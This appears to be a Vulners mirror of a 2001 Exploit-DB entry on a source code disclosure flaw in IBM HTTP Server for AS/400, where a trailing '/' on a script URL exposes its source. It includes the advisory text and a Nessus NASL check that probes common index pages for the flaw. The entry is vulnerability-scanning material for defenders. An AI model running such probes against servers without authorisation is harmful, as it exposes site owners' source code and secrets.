Lucene search
K

IBM HTTP Server 1.3.x - Source Code Disclosure

🗓️ 08 Nov 2001 00:00:00Reported by Felix HuberType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 18 Views

Remote attackers can disclose script source code in IBM HTTP Server by appending '/' to URL.

Code
source: https://www.securityfocus.com/bid/3518/info

Due to an input validation error in IBM HTTP Server for the AS/400, it is possible for a remote attacker to make a specially web crafted web request which will display script source code.

If a '/' is appended to the end of a request for an existing script, then this will cause the script's source code to be displayed.

There is a potential that this issue may result in sensitive information being disclosed to attackers, depending on the contents of the script source code.

*It has been reported that the source of this issue is due to WebSphere Application server 3.5.4. However this has not yet been confirmed by the vendor. 

s script was written by Felix Huber <[email protected]>
#
# v. 1.00 (last update 08.11.01)

if(description)
{
 script_id(?????????);
 name["english"] = "IBM-HTTP-Server View Code";
 script_name(english:name["english"]);

 desc["english"] = "
IBM's HTTP Server on the AS/400 platform is vulnerable to an attack
that will show the source code of the page -- such as an .html or .jsp
page -- by attaching an '/' to the end of a URL.

Example:
http://www.foo.com/getsource.jsp/

Solution :  Not yet


Risk factor : High";


 script_description(english:desc["english"]);

 summary["english"] = "IBM-HTTP-Server View Code";

 script_summary(english:summary["english"]);

 script_category(ACT_GATHER_INFO);


 script_copyright(english:"This script is Copyright (C) 2001 Felix Huber");
 family["english"] = "CGI abuses";
 script_family(english:family["english"]);
 script_dependencie("find_service.nes");
 script_dependencie("httpver.nasl");
 script_require_ports("Services/www", 80);
 exit(0);
}

#
# The script code starts here
#

port = get_kb_item("Services/www");
if(!port)port = 80;

dir[0] = "/index.html";
dir[1] = "/index.htm";
dir[2] = "/index.jsp";
dir[3] = "/default.html";
dir[4] = "/default.htm";
dir[5] = "/default.jsp";
dir[6] = "/home.html";
dir[7] = "/home.htm";
dir[8] = "/home.jsp";

if(get_port_state(port))
{

 for (i = 0; dir[i] ; i = i + 1)
 {



     soc = http_open_socket(port);

     if(soc)

     {
        url = string(dir[i], "/");


        req = http_get(item:url, port:port);
        send(socket:soc, data:req);
        r = recv(socket:soc, length:409600);
        close(soc);

	    #display(r);

	    if("Server: IBM-HTTP-Server/1.0" >< r)
              {
                if("Content-Type: www/unknown" >< r)
                    {
                     	#security_hole(port);
                     	display("Security Hole detected\n");
                     	exit(0);
                    }
              }

     }
 }
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation